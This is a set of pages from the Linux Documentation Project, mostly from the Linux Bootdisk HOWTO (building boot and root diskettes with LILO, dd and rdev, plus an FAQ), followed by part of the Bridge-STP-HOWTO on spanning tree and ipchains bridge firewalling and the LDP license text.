Having reviewed the basic boot process, we can now define various kinds of disks involved. We classify disks into four types. The discussion here and throughout this document uses the term ``disk'' to refer to floppy diskettes unless otherwise specified, though most of the discussion could apply equally well to hard disks.

boot

A disk containing a kernel which can be booted. The disk can be used to boot the kernel, which then may load a root file system on another disk. The kernel on a bootdisk usually must be told where to find its root filesystem.

Often a bootdisk loads a root filesystem from another diskette, but it is possible for a bootdisk to be set up to load a hard disk's root filesystem instead. This is commonly done when testing a new kernel (in fact, ``make zdisk'' will create such a bootdisk automatically from the kernel source code).

root

A disk with a filesystem containing files required to run a Linux system. Such a disk does not necessarily contain either a kernel or a boot loader.

A root disk can be used to run the system independently of any other disks, once the kernel has been booted. Usually the root disk is automatically copied to a ramdisk. This makes root disk accesses much faster, and frees up the disk drive for a utility disk.

boot/root

A disk which contains both the kernel and a root filesystem. In other words, it contains everything necessary to boot and run a Linux system without a hard disk. The advantage of this type of disk is that is it compact — everything required is on a single disk. However, the gradually increasing size of everything means that it is increasingly difficult to fit everything on a single diskette, even with compression.

utility

A disk which contains a filesystem, but is not intended to be mounted as a root file system. It is an additional data disk. You would use this type of disk to carry additional utilities where you have too much to fit on your root disk.

In general, when we talk about ``building a bootdisk'' we mean creating both the boot (kernel) and root (files) portions. They may be either together (a single boot/root disk) or separate (boot + root disks). The most flexible approach for rescue diskettes is probably to use separate boot and root diskettes, and one or more utility diskettes to handle the overflow.

Prev | Home | Next
Introduction |  | Building a root filesystem


Choosing a kernel

The Linux Bootdisk HOWTO
Prev Next

5. Choosing a kernel

At this point you have a complete compressed root filesystem. The next step is to build or select a kernel. In most cases it would be possible to copy your current kernel and boot the diskette from that. However, there may be cases where you wish to build a separate one.

One reason is size. If you are building a single boot/root diskette, the kernel will be one of the largest files on the diskette so you will have to reduce the size of the kernel as much as possible. To reduce kernel size, build it with the minumum set of facilities necessary to support the desired system. This means leaving out everything you don't need. Networking is a good thing to leave out, as well as support for any disk drives and other devices which you don't need when running your boot/root system. As stated before, your kernel must have ramdisk and ext2 support built into it.

Having worked out a minimum set of facilities to include in a kernel, you then need to work out what to add back in. Probably the most common uses for a boot/root diskette system would be to examine and restore a corrupted root file system, and to do this you may need kernel support. For example, if your backups are all held on tape using Ftape to access your tape drive, then, if you lose your current root drive and drives containing Ftape, then you will not be able to restore from your backup tapes. You will have to reinstall Linux, download and reinstall ftape, and then try to read your backups.

The point here is that, whatever I/O support you have added to your kernel to support backups should also be added into your boot/root kernel.

The procedure for actually building the kernel is described in the documentation that comes with the kernel. It is quite easy to follow, so start by looking in /usr/src/linux. If you have trouble building a kernel, you should probably not attempt to build boot/root systems anyway. Remember to compress the kernel with ``make zImage''.

Prev | Home | Next
Building a root filesystem |  | Putting them together: Making the diskette(s)


Putting them together: Making the diskette(s)

The Linux Bootdisk HOWTO
Prev Next

6. Putting them together: Making the diskette(s)

At this point you have a kernel and a compressed root filesystem. If you are making a boot/root disk, check their sizes to make sure they will both fit on one disk. If you are making a two disk boot+root set, check the root filesystem to make sure it will fit on a single diskette.

You should decide whether to use LILO to boot the bootdisk kernel. The alternative is to copy the kernel directly to the diskette and boot without LILO. The advantage of using LILO is that it enables you to supply some parameters to the kernel which may be necessary to initialize your hardware (Check the file /etc/lilo.conf on your system. If it exists and has a line like ``append=...'', you probably need this feature). The disadvantage of using LILO is that building the bootdisk is more complicated and takes slightly more space. You will have to set up a small separate filesystem, which we shall call the kernel filesystem, where you transfer the kernel and a few other files that LILO needs.

If you are going to use LILO, read on; if you are going to transfer the kernel directly, skip ahead to Section 6.2.

6.1. Transferring the kernel with LILO

First, make sure you have a recent version of LILO.

You must create a small configuration file for LILO. It should look like this:
        boot      =/dev/fd0
        install   =/boot/boot.b
        map       =/boot/map
        read-write
        backup    =/dev/null
        compact
        image     = KERNEL
        label     = Bootdisk
        root      =/dev/fd0
For an explanation of these parameters, see LILO's user documentation. You will probably also want to add an append=... line to this file from your hard disk's /etc/lilo.conf file.

Save this file as bdlilo.conf.

You now have to create a small filesystem, which we shall call a kernel filesystem, to distinguish it from the root filesystem.

First, figure out how large the filesystem should be. Take the size of your kernel in blocks (the size shown by ``ls -s KERNEL'') and add 50. Fifty blocks is approximately the space needed for inodes plus other files. You can calculate this number exactly if you want to, or just use 50. If you're creating a two-disk set, you may as well overestimate the space since the first disk is only used for the kernel anyway. Call this number KERNEL_BLOCKS.

Put a floppy diskette in the drive (for simplicity we'll assume /dev/fd0) and create an ext2 kernel filesystem on it:
        mke2fs -N 24 -m 0 /dev/fd0 KERNEL_BLOCKS
The ``-N 24'' specifies 24 inodes, which is all you should need for this filesystem. Next, mount the filesystem, remove the lost+found directory, and create dev and boot directories for LILO:
        mount -o dev /dev/fd0 /mnt
        rm -rf /mnt/lost+found
        mkdir /mnt/{boot,dev}

Next, create devices /dev/null and /dev/fd0. Instead of looking up the device numbers, you can just copy them from your hard disk using -R:
        cp -R /dev/{null,fd0} /mnt/dev
LILO needs a copy of its boot loader, boot.b, which you can take from your hard disk. It is usually kept in the /boot directory.
        cp /boot/boot.b /mnt/boot
Finally, copy in the LILO configuration file you created in the last section, along with your kernel. Both can be put in the root directory:
        cp bdlilo.conf KERNEL /mnt
Everything LILO needs is now on the kernel filesystem, so you are ready to run it. LILO's -r flag is used for installing the boot loader on some other root:
        lilo -v -C bdlilo.conf -r /mnt
LILO should run without error, after which the kernel filesystem should look something like this:
total 361
  1 –rw–r––r––   1 root     root          176 Jan 10 07:22 bdlilo.conf
  1 drwxr–xr–x   2 root     root         1024 Jan 10 07:23 boot/
  1 drwxr–xr–x   2 root     root         1024 Jan 10 07:22 dev/
358 –rw–r––r––   1 root     root       362707 Jan 10 07:23 vmlinuz
boot:
total 8
  4 –rw–r––r––   1 root     root         3708 Jan 10 07:22 boot.b
  4 –rw–––––––   1 root     root         3584 Jan 10 07:23 map
dev:
total 0
  0 brw–r–––––   1 root     root       2,   0 Jan 10 07:22 fd0
  0 crw–r––r––   1 root     root       1,   3 Jan 10 07:22 null

Do not worry if the file sizes are slightly different from yours.

Now leave the diskette in the drive and go to Section 6.3.

6.2. Transferring the kernel without LILO

If you are not using LILO, transfer the kernel to the bootdisk with dd:
        % dd if=KERNEL of=/dev/fd0 bs=1k
        353+1 records in
        353+1 records out
In this example, dd wrote 353 complete records + 1 partial record, so the kernel occupies the first 354 blocks of the diskette. Call this number KERNEL_BLOCKS and remember it for use in the next section.

Finally, set the root device to be the diskette itself, then set the root to be loaded read/write:
        rdev /dev/fd0 /dev/fd0
        rdev -R /dev/fd0 0
Be careful to use a capital -R in the second rdev command.

6.3. Setting the ramdisk word

Inside the kernel image is the ramdisk word that specifies where the root filesystem is to be found, along with other options. The word can be accessed and set via the rdev command, and its contents are interpreted as follows:

Bit field | Description
0-10 | Offset to start of ramdisk, in 1024 byte blocks
11-13 | unused
14 | Flag indicating that ramdisk is to be loaded
15 | Flag indicating to prompt before loading rootfs

If bit 15 is set, on boot-up you will be prompted to place a new floppy diskette in the drive. This is necessary for a two-disk boot set.

There are two cases, depending on whether you are building a single boot/root diskette or a double ``boot+root'' diskette set.

  1. If you are building a single disk, the compressed root filesystem will be placed right after the kernel, so the offset will be the first free block (which should be the same as KERNEL_BLOCKS). Bit 14 will be set to 1, and bit 15 will be zero. For example, say you're building a single disk and the root filesystem will begin at block 253 (decimal). The ramdisk word value should be 253 (decimal) with bit 14 set to 1 and bit 15 set to 0. To calculate the value you can simply add the decimal values. 253 + (2^14) = 253 + 16384 = 16637. If you don't quite understand where this number comes from, plug it into a scientific calculator and convert it to binary,

  2. If you are building a two-disk set, the root filesystem will begin at block zero of the second disk, so the offset will be zero. Bit 14 will be set to 1 and bit 15 will be 1. The decimal value will be 2^14 + 2^15 = 49152 in this case.

After carefully calculating the value for the ramdisk word, set it with rdev -r. Be sure to use the decimal value. If you used LILO, the argument to rdev here should be the mounted kernel path, e.g. /mnt/vmlinuz; if you copied the kernel with dd, instead use the floppy device name (e.g., /dev/fd0).
        rdev -r KERNEL_OR_FLOPPY_DRIVE  VALUE

If you used LILO, unmount the diskette now.

Important

Do not believe what the rdev/ramsize manpage says about ramdisk size. The manpage is obsolete. As of kernel 2.0 or so, the ramdisk word no longer determines the ramdisk size; the word is instead interpreted according to the table at the beginning of section Section 6.3. For a detailed explanation, see the documentation file ramdisk.txt or http://www.linuxhq.com/kernel/v2.4/doc/ramdisk.txt.html.

6.4. Transferring the root filesystem

The last step is to transfer the root filesystem.

  • If the root filesystem will be placed on the same disk as the kernel, transfer it using dd with the seek option, which specifies how many blocks to skip:
            dd if=rootfs.gz of=/dev/fd0 bs=1k seek=KERNEL_BLOCKS

  • If the root filesystem will be placed on a second disk, remove the first diskette, put the second diskette in the drive, then transfer the root filesystem to it:
            dd if=rootfs.gz of=/dev/fd0 bs=1k

Congratulations, you are done!

Important

You should always test a bootdisk before putting it aside for an emergency. If it fails to boot, read on.

Prev | Home | Next
Choosing a kernel |  | Troubleshooting, or The Agony of Defeat


Miscellaneous topics

The Linux Bootdisk HOWTO
Prev Next

9. Miscellaneous topics

9.1. Non-ramdisk root filesystems

Section 4 gave instructions for building a compressed root filesystem which is loaded to ramdisk when the system boots. This method has many advantages so it is commonly used. However, some systems with little memory cannot afford the RAM needed for this, and they must use root filesystems mounted directly from the diskette.

Such filesystems are actually easier to build than compressed root filesystems because they can be built on a diskette rather than on some other device, and they do not have to be compressed. We will outline the procedure as it differs from the instructions above. If you choose to do this, keep in mind that you will have much less space available.

  1. Calculate how much space you will have available for root files. If you are building a single boot/root disk, you must fit all blocks for the kernel plus all blocks for the root filesystem on the one disk.

  2. Using mke2fs, create a root filesystem on a diskette of the appropriate size.

  3. Populate the filesystem as described above.

  4. When done, unmount the filesystem and transfer it to a disk file but do not compress it.

  5. Transfer the kernel to a floppy diskette, as described above. When calculating the ramdisk word, set bit 14 to zero, to indicate that the root filesystem is not to be loaded to ramdisk. Run the rdev's as described.

  6. Transfer the root filesystem as before.

There are several shortcuts you can take. If you are building a two-disk set, you can build the complete root filesystem directly on the second disk and you need not transfer it to a hard disk file and then back. Also, if you are building a single boot/root disk and using LILO, you can build a single filesystem on the entire disk, containing the kernel, LILO files and root files, and simply run LILO as the last step.

9.2. Building a utility disk

Building a utility disk is relatively easy -- simply create a filesystem on a formatted disk and copy files to it. To use it with a bootdisk, mount it manually after the system is booted.

In the instructions above, we mentioned that the utility disk could be mounted as /usr. In this case, binaries could be placed into a /bin directory on your utility disk, so that placing /usr/bin in your path will access them. Additional libraries needed by the binaries are placed in /lib on the utility disk.

There are several important points to keep in mind when designing a utility disk:

  1. Do not place critical system binaries or libraries onto the utility disk, since it will not be mountable until after the system has booted.

  2. You cannot access a floppy diskette and a floppy tape drive simultaneously. This means that if you have a floppy tape drive, you will not be able to access it while your utility disk is mounted.

  3. Access to files on the utility disk will be slow.

Appendix D shows a sample of files on a utility disk. Here are some ideas for files you may find useful: programs for examining and manipulating disks (format, fdisk) and filesystems (mke2fs, fsck, debugfs, isofs.o), a lightweight text editor (elvis, jove), compression and archive utilities (gzip, bzip, tar, cpio, afio), tape utilities (mt, ftmt, tob, taper), communications utilities (ppp.o, slip.o, minicom) and utilities for devices (setserial, mknod).

Prev | Home | Next
Reducing root filesystem size |  | How the pros do it


Frequently Asked Question (FAQ) list

The Linux Bootdisk HOWTO
Prev Next

12. Frequently Asked Question (FAQ) list

Q: I boot from my boot/root disks and nothing happens. What do I do?
Q: How does the Slackware/Debian/RedHat bootdisk work?
Q: How do I use higher-density (> 1440K) diskettes? How do I figure out which densities will work with my diskette drive?
Q: How do I increase the size of my ramdisks?
Q: How do I make bootable CD-ROMs?
Q: How do I make bootable LS-120 disks?
Q: How can I make a boot disk with a XYZ driver?
Q: How do I update my root diskette with new files?
Q: How do I remove LILO so that I can use DOS to boot again?
Q: How can I boot if I've lost my kernel and my boot disk?
Q: How can I make extra copies of boot/root diskettes?
Q: How can I boot without typing in “ahaxxxx=nn,nn,nn” every time?
Q: At boot time, I get error “A: cannot execute B”. Why?
Q: My kernel has ramdisk support, but initializes ramdisks of 0K. Why?

Q: I boot from my boot/root disks and nothing happens. What do I do?

A: See Section 7, above.

Q: How does the Slackware/Debian/RedHat bootdisk work?

A: See Section 10, above.

Q: How do I use higher-density (> 1440K) diskettes? How do I figure out which densities will work with my diskette drive?

A: See Section Section 8, above, for the comments by Alain Knaff on this subject. His is the most authoritative answer I know of.

Q: How do I increase the size of my ramdisks?

A: This probably should be explained better in the text, but I'll put an answer here for the time being.

First, do not attempt to use the rdev or ramsize commands to do this, no matter what their documentation says. The ramdisk word no longer determines the size of ramdisks.

Second, keep in mind that ramdisks are actually dynamic; when you set a ramdisk size you aren't allocating any memory, you're just setting the limit of how large it can grow. Don't be afraid to set these fairly large (eg, 8 or even 16 meg). The RAM space is not actually consumed until you need it. You can set these limits in one of several ways.

  1. Use the ramdisk_size=NNN command line parameter. You can either enter this manually or use a command like append="ramdisk_size=NNN" with LILO.

  2. If you're using LILO, you can use a kernel option like ramdisk=8192K in the lilo.conf file.

  3. Change the kernel configuration option CONFIG_BLK_DEV_RAM_SIZE and recompile your kernel.

Q: How do I make bootable CD-ROMs?

A: See section Section 11.

Q: How do I make bootable LS-120 disks?

A: Since I don't have an LS-120 drive, the following information is summarized from information provided by Dave Cinege from the Linux Router Project.

The LS-120 is an IDE floppy drive. It is compatible with both standard 3.5" disks and the new 120MB disks. As of Linux v2.0.31 there is full support. To be able to boot from these you must have a BIOS that specifically allows the LS-120 to be treated as drive 0 (whereas IDE devices normally start at 80). If you do not have BIOS support, you can purchase a small IDE FloppyMAX card from Promise Technologies to overcome this deficiency.

The kernel boot loader does not like the LS-120, and instantly dies. Also 2m disks do not like it and will not boot. 1.44MB through 1.74MB disks will work fine. SYSLINUX works with the 120MB disks as of v1.32. You would better off partitioning the disk and using ext2 or minix, instead of SYSLINUX unless you need MS-DOS compatibility.

LILO does work fine with 120MB disks. Here is a sample lilo.conf:
        boot=/dev/hda
        compact
        disk=/dev/hda bios=0
        install=/floppy/boot.b
        map=/floppy/map
        image=/floppy/linux
        label=Linux
        append="load_ramdisk=1"
        initrd=/floppy/root.bin
        ramdisk=8192
The line "disk=/dev/hda bios=0" is what does the trick to make it boot the LS-120.

Q: How can I make a boot disk with a XYZ driver?

A: The easiest way is to obtain a Slackware kernel from your nearest Slackware mirror site. Slackware kernels are generic kernels which atttempt to include drivers for as many devices as possible, so if you have a SCSI or IDE controller, chances are that a driver for it is included in the Slackware kernel.

Go to the a1 directory and select either IDE or SCSI kernel depending on the type of controller you have. Check the xxxxkern.cfg file for the selected kernel to see the drivers which have been included in that kernel. If the device you want is in that list, then the corresponding kernel should boot your computer. Download the xxxxkern.tgz file and copy it to your boot diskette as described above in the section on making boot disks.

You must then check the root device in the kernel, using the command rdev zImage. If this is not the same as the root device you want, use rdev to change it. For example, the kernel I tried was set to /dev/sda2, but my root SCSI partition is /dev/sda8. To use a root diskette, you would have to use the command rdev zImage /dev/fd0.

If you want to know how to set up a Slackware root disk as well, that's outside the scope of this HOWTO, so I suggest you check the Linux Install Guide or get the Slackware distribution. See the section in this HOWTO titled ``References''.

Q: How do I update my root diskette with new files?

A: The easiest way is to copy the filesystem from the rootdisk back to the DEVICE you used (from Section 4.2, above). Then mount the filesystem and make the changes. You have to remember where your root filesystem started and how many blocks it occupied:
        dd if=/dev/fd0 bs=1k skip=ROOTBEGIN count=BLOCKS | gunzip > DEVICE
        mount -t ext2 DEVICE /mnt
After making the changes, proceed as before (in Section 4.7) and transfer the root filesystem back to the disk. You should not have to re-transfer the kernel or re-compute the ramdisk word if you do not change the starting position of the new root filesystem.

Q: How do I remove LILO so that I can use DOS to boot again?

A: This is not really a Bootdisk topic, but it is asked often. Within Linux, you can run:
        /sbin/lilo -u

You can also use the dd command to copy the backup saved by LILO to the boot sector. Refer to the LILO documentation if you wish to do this.

Within DOS and Windows you can use the DOS command:
        FDISK /MBR
MBR stands for Master Boot Record. This command replaces the boot sector with a clean DOS one, without affecting the partition table. Some purists disagree with this, but even the author of LILO, Werner Almesberger, suggests it. It is easy, and it works.

Q: How can I boot if I've lost my kernel and my boot disk?

A: If you don't have a boot disk standing by, probably the easiest method is to obtain a Slackware kernel for your disk controller type (IDE or SCSI) as described above for ``How do I make a boot disk with a XXX driver?''. You can then boot your computer using this kernel, then repair whatever damage there is.

The kernel you get may not have the root device set to the disk type and partition you want. For example, Slackware's generic SCSI kernel has the root device set to /dev/sda2, whereas my root Linux partition happens to be /dev/sda8. In this case the root device in the kernel will have to be changed.

You can still change the root device and ramdisk settings in the kernel even if all you have is a kernel, and some other operating system, such as DOS.

rdev changes kernel settings by changing the values at fixed offsets in the kernel file, so you can do the same if you have a hex editor available on whatever systems you do still have running -- for example, Norton Utilities Disk Editor under DOS. You then need to check and if necessary change the values in the kernel at the following offsets:
HEX     DEC  DESCRIPTION
0x01F8  504  Low byte of RAMDISK word
0x01F9  505  High byte of RAMDISK word
0x01FC  508  Root minor device number - see below
0X01FD  509  Root major device number - see below

The interpretation of the ramdisk word was described in Section 6.3, above.

The major and minor device numbers must be set to the device you want to mount your root filesystem on. Some useful values to select from are:
DEVICE          MAJOR MINOR
/dev/fd0            2     0   1st floppy drive
/dev/hda1           3     1   partition 1 on 1st IDE drive
/dev/sda1           8     1   partition 1 on 1st SCSI drive
/dev/sda8           8     8   partition 8 on 1st SCSI drive
Once you have set these values then you can write the file to a diskette using either Norton Utilities Disk Editor, or a program called rawrite.exe. This program is included in all distributions. It is a DOS program which writes a file to the ``raw'' disk, starting at the boot sector, instead of writing it to the file system. If you use Norton Utilities you must write the file to a physical disk starting at the beginning of the disk.

Q: How can I make extra copies of boot/root diskettes?

A: Because magnetic media may deteriorate over time, you should keep several copies of your rescue disk, in case the original is unreadable.

The easiest way of making copies of any diskettes, including bootable and utility diskettes, is to use the dd command to copy the contents of the original diskette to a file on your hard drive, and then use the same command to copy the file back to a new diskette. Note that you do not need to, and should not, mount the diskettes, because dd uses the raw device interface.

To copy the original, enter the command:
        dd if=DEVICENAME of=FILENAME
where DEVICENAME is the device name of the diskette drive and FILENAME is the name of the (hard-disk) output file. Omitting the count parameter causes dd to copy the whole diskette (2880 blocks if high-density).

To copy the resulting file back to a new diskette, insert the new diskette and enter the reverse command:
        dd if=FILENAME of=DEVICENAME

Note that the above discussion assumes that you have only one diskette drive. If you have two of the same type, you can copy diskettes using a command like:
        dd if=/dev/fd0 of=/dev/fd1

Q: How can I boot without typing in “ahaxxxx=nn,nn,nn” every time?

A: Where a disk device cannot be autodetected it is necessary to supply the kernel with a command device parameter string, such as:
        aha152x=0x340,11,3,1
This parameter string can be supplied in several ways using LILO:

  • By entering it on the command line every time the system is booted via LILO. This is boring, though.

  • By using LILO's lock keyword to make it store the command line as the default command line, so that LILO will use the same options every time it boots.

  • By using the append= statement in the LILO config file. Note that the parameter string must be enclosed in quotes.

For example, a sample command line using the above parameter string would be:
        zImage  aha152x=0x340,11,3,1 root=/dev/sda1 lock

This would pass the device parameter string through, and also ask the kernel to set the root device to /dev/sda1 and save the whole command line and reuse it for all future boots.

A sample APPEND statement is:
        APPEND = “aha152x=0x340,11,3,1”

Note that the parameter string must not be enclosed in quotes on the command line, but it must be enclosed in quotes in the APPEND statement.

Note also that for the parameter string to be acted on, the kernel must contain the driver for that disk type. If it does not, then there is nothing listening for the parameter string, and you will have to rebuild the kernel to include the required driver. For details on rebuilding the kernel, go to /usr/src/linux and read the README, and read the Linux FAQ and Installation HOWTO. Alternatively you could obtain a generic kernel for the disk type and install that.

Readers are strongly urged to read the LILO documentation before experimenting with LILO installation. Incautious use of the BOOT statement can damage partitions.

Q: At boot time, I get error “A: cannot execute B”. Why?

A: There are several cases of program names being hardcoded in various utilities. These cases do not occur everywhere, but they may explain why an executable apparently cannot be found on your system even though you can see that it is there. You can find out if a given program has the name of another hardcoded by using the strings command and piping the output through grep.

Known examples of hardcoding are:

  • shutdown in some versions has /etc/reboot hardcoded, so reboot must be placed in the /etc directory.

  • init has caused problems for at least one person, with the kernel being unable to find init.

To fix these problems, either move the programs to the correct directory, or change configuration files (e.g. inittab) to point to the correct directory. If in doubt, put programs in the same directories as they are on your hard disk, and use the same inittab and /etc/rc.d files as they appear on your hard disk.

Q: My kernel has ramdisk support, but initializes ramdisks of 0K. Why?

A: Where this occurs, a kernel message like this will appear as the kernel is booting:
        Ramdisk driver initialized : 16 ramdisks of 0K size

This is probably because the size has been set to 0 by kernel parameters at boot time. This could possibly be because of an overlooked LILO configuration file parameter:
    ramdisk= 0

This was included in sample LILO configuration files in some older distributions, and was put there to override any previous kernel setting. If you have such a line, remove it.

Note that if you attempt to use a ramdisk of 0 size, the behaviour can be unpredictable, and can result in kernel panics.

Prev | Home | Next
Creating bootable CD-ROMs |  | Resources and pointers


Rescue packages

The Linux Bootdisk HOWTO
Prev A. Resources and pointers Next

A.2. Rescue packages

Several packages for creating rescue disks are available on www.ibiblio.org. With these packages you specify a set of files for inclusion and the software automates (to varying degrees) the creation of a bootdisk. See http://www.ibiblio.org/pub/Linux/system/recovery/!INDEX.html for more information. Check the file dates carefully. Some of these packages have not been updated in several years and will not support the creation of a compressed root filesystem loaded into ramdisk. To the best of our knowledge, Yard is the only package that will.

Prev | Home | Next
Pre-made Bootdisks | Up | LILO -- the Linux loader


LILO -- the Linux loader

The Linux Bootdisk HOWTO
Prev A. Resources and pointers Next

A.3. LILO -- the Linux loader

Written by Werner Almesberger. Excellent boot loader, and the documentation includes information on the boot sector contents and the early stages of the boot process.

Ftp from ftp://tsx-11.mit.edu/pub/linux/packages/lilo/. It is also available on Metalab and mirrors.

Prev | Home | Next
Rescue packages | Up | Ramdisk usage


Ramdisk usage

The Linux Bootdisk HOWTO
Prev A. Resources and pointers Next

A.4. Ramdisk usage

An excellent description of the how the ramdisk code works may be found with the documentation supplied with the Linux kernel. See /usr/src/linux/Documentation/ramdisk.txt. It is written by Paul Gortmaker and includes a section on creating a compressed ramdisk.

Prev | Home | Next
LILO -- the Linux loader | Up | The Linux boot process


The Linux boot process

The Linux Bootdisk HOWTO
Prev A. Resources and pointers Next

A.5. The Linux boot process

For more detail on the Linux boot process, here are some pointers:

  • The Linux System Administrators' Guide has a section on booting.

  • The LILO ``Technical overview'' has the definitive technical, low-level description of the boot process, up to where the kernel is started.

  • The source code is the ultimate guide. Below are some kernel files related to the boot process. If you have the Linux kernel source code, you can find these under /usr/src/linux on your machine; alternatively, Shigio Yamaguchi (shigio at tamacom.com) has a very nice hypertext kernel browser for reading kernel source files. Here are some relevant files to look at:

    arch/i386/boot/bootsect.S and setup.S

    Contain assembly code for the bootsector itself.

    arch/i386/boot/compressed/misc.c

    Contains code for uncompressing the kernel.

    arch/i386/kernel/

    Directory containing kernel initialization code. setup.c defines the ramdisk word.

    drivers/block/rd.c

    Contains the ramdisk driver. The procedures rd_load and rd_load_image load blocks from a device into a ramdisk. The procedure identify_ramdisk_image determines what kind of filesystem is found and whether it is compressed.

Prev | Home | Next
Ramdisk usage | Up | LILO boot error codes


Advanced Bridge Features

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

7. Advanced Bridge Features

Here we will cover some advanced features of the new bridge code.

7.1. Spanning Tree Protocol

Tell me...

  • You are a networkadmin...?

  • You have a switch on top of your ethernet tree...?

  • You have nightmares of a switch emmiting smoke...?

  • Your company is not extremely rich and con provide another redundant switch just waiting for you to plug the patchwires..?

  • You don't feel like placing your bed close to your main network node to plug the wires...?

Don't wait until you're just another nervous wreck. Join linux bridge community and enjoy the relaxment a stp-enabled inhouse scenario is offering to you.

Ok, let's leave that commercial and get back linux and the bridge. Take a look on this small thread from the linux-bridge mailing list.

STP Thread from bridge@openrock.net (no more valid)

Could you give me some hints about multi-bridge scenarios.
Does the STP "heartbeat" mechanism also work with bridges with more than two cards?
How fast does it get up, and what can I do about it?

Could you give me some hints about multi-bridge scenarios.

You can just set up two "mirrored" bridges. You have two network interfaces in your bridge? Set up the mirror bridge so that it has two network interfaces as well, and connect each of the interfaces to one subnet. This will work without the need of configuration.

Note: Be sure that you have the spanning tree protocol enabled. If you didn't use brctl, this should be fine, because in Linux, it is on by default. To check, you could check whether the bridge sends a packet to 0180c2000000 every 2 seconds. If it does, the STP is on. The STP is needed so that only one bridge will be active at any given time.

Note: To be able to see nicely formatted stp packages in your network take a look at at the bridge homepage for the patches to tcpdump.

The "master" bridge will send out STP packets every 2 seconds by default. The "slave" bridge will receive these packets, and will notice that the master is still up. If the slave hasn't received a packet in 20 seconds (max. message age parameter), it will start the takeover procedure. From the moment the takeover procedure starts, it will take about 30 seconds (twice the forward delay parameter) for the bridge to become fully operational.

Does the STP "heartbeat" mechanism also work with bridges with more than two cards?

Yes, it works with any number of interfaces. You can invent bizarre topologies to your heart's desire. You can use multiple (redundant) bridge-bridge connects, you can insert loops, whatever. The STP code will always find the minimal spanning tree. The bridge code will even deal with the loss of any number of interfaces. If there are two redundant bridges with identical connections, the loss of an interface on one of the bridges will cause the other bridge to take over forwarding to that specific interface. Now isn't that great? :)

How fast does it get up, and what can I do about it?

If you think 50 seconds is too much -- and I guess you should; alas, the IEEE specs gives us these default values -- you can tweak these parameters. If you set the hello time (the STP packet interval) from 2 to 1 second, you can safely set the message age parameter to 4 seconds. Then you can set the forward delay to 4 seconds, and this will in total give you a takeover time of ~12 seconds.

The great thing which is made possible by STP is a redundant parallel bridging scenario, with automated take over features. Within a network basing on stp the bridges always try to send a datagram the (by path cost) shortest path. Only on that path the bridges are forwarding, all other paths between this shortest way are blocked. If there is a broken path, the bridges agree about the next shortest. So doubled paths don't break the net, but are bringing more security... For a example setup of a fail secured connection see Section 8.

7.2. Bridge And The IP-Chains

The normal idea about a bridge would not allow anything like firewalling, but since several people have asked Lennert for ipchains firewalling on bridge forwarding he implemented it.

Important: If you want to do this, you will need to apply the special ip-chain-bridge-patch (also available at the bridge homepage).

As soon you have everything up correctly, the bridging code will check each to-be-forwarded packet against the ipchains chain which has the same name as the bridge.

So.. if a packet on eth0 is to be forwarded to eth1, and those interfaces are both part of the bridge group br0, the bridging code will check the packet against the chain called 'br0'.

Warning

If the chain does not exist, the packet will be forwarded. So if you want to do firewalling, you'll have to create the chain yourself.

Example 10. A Simple Bridge Firewall Setup

Example:
# brctl addbr br0                                     (1)
# brctl addif br0 eth0                                (2)
# brctl addif br0 eth1                                (3)
# ifconfig br0 10.0.0.254                             (4)
# ipchains -N br0                                     (5)
# ipchains -A br0 -s 10.0.0.1/8 -i eth0 -j DENY       (6)
Creating a bridge interface named br0
Placing eth0 and eth1 into the bridge.
Assigning a regular IP address to the bridge. The IP is taken from private network 10.X.X.X (Class A).
Creating a ip-chain named br0

Caution

It's vital to have the same name here (br0 or whatever you have selected, as long as you have the same in all places).

Denying all trafic with source 10.X.X.X on eth0.
Prev | Home | Next
Set Up The Bridge |  | A Practical Setup Example


LINUX DOCUMENTATION PROJECT LICENSE (LDPL) v2.0, 12 January 1998

  1. COPYRIGHT

    The copyright to each Linux Documentation Project (LDP) document is owned by its author or authors.

  2. LICENSE

    The following license terms apply to all LDP documents, unless otherwise stated in the document. The LDP documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, provided that this license notice is displayed in the reproduction. Commercial redistribution is permitted and encouraged. Thirty days advance notice via email to the author(s) of redistribution is appreciated, to give the authors time to provide updated documents.

    1. REQUIREMENTS OF MODIFIED WORKS

      All modified documents, including translations, anthologies, and partial documents, must meet the following requirements:

      1. The modified version must be labeled as such.
      2. The person making the modifications must be identified.
      3. Acknowledgement of the original author must be retained.
      4. The location of the original unmodified document be identified.
      5. The original author's (or authors') name(s) may not be used to assert or imply endorsement of the resulting document without the original author's (or authors') permission.

      In addition it is requested that:

      1. The modifications (including deletions) be noted.
      2. The author be notified by email of the modification in advance of redistribution, if an email address is provided in the document.

      As a special exception, anthologies of LDP documents may include a single copy of these license terms in a conspicuous location within the anthology and replace other copies of this license with a reference to the single copy of the license without the document being considered "modified" for the purposes of this section.

      Mere aggregation of LDP documents with other documents or programs on the same media shall not cause this license to apply to those other works.

      All translations, derivative documents, or modified documents that incorporate any LDP document may not have more restrictive license terms than these, except that you may require distributors to make the resulting document available in source format.

      LDP documents are available in source format via the LDP home page at http://sunsite.unc.edu/LDP/.

LDP Policy Appendices

  1. TO USE THE LDP LICENSE

    LDP authors who want to use the LDP License should put the following statement in their document:

    Copyright (c) by . This document may be distributed only subject to the terms and conditions set forth in the LDP License at .

    Authors may include a copy of the license in their documents, as well. If they do so, they have the option of ommitting the appendices.

  2. TO USE THE LDP LICENSE, BUT PREVENT MODIFICATION

    LDP authors who want to prevent modification to their document should put the following statement in their document:

    Copyright (c) by . This document may be distributed only subject to the terms and conditions set forth in the LDP License at , except that this document must not be distributed in modified form without the author's consent.

  3. TO USE YOUR OWN LICENSE

    LDP authors who want to include their own license on LDP works may do so, as long as their terms are not more restrictive than the LDP license, except that they may require that the document may not be modified.

    4. If you have questions about the LDP License, please contact Guylhem Aznar, guylhem@oeil.qc.ca.


Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev

C. FAQ

Here you will find some of the frequently asked questions connected to bridging.

FAQ

1. Hardware
What hardware do I need to run a bridge with 2-n NICs.
Can you please recommend some tools to measure a 2-port linux bridge throughput.
2. Software
I'm running with kernel x.x.x. Is a patch out there, to give me chance to use this stuff?

1. Hardware

What hardware do I need to run a bridge with 2-n NICs.

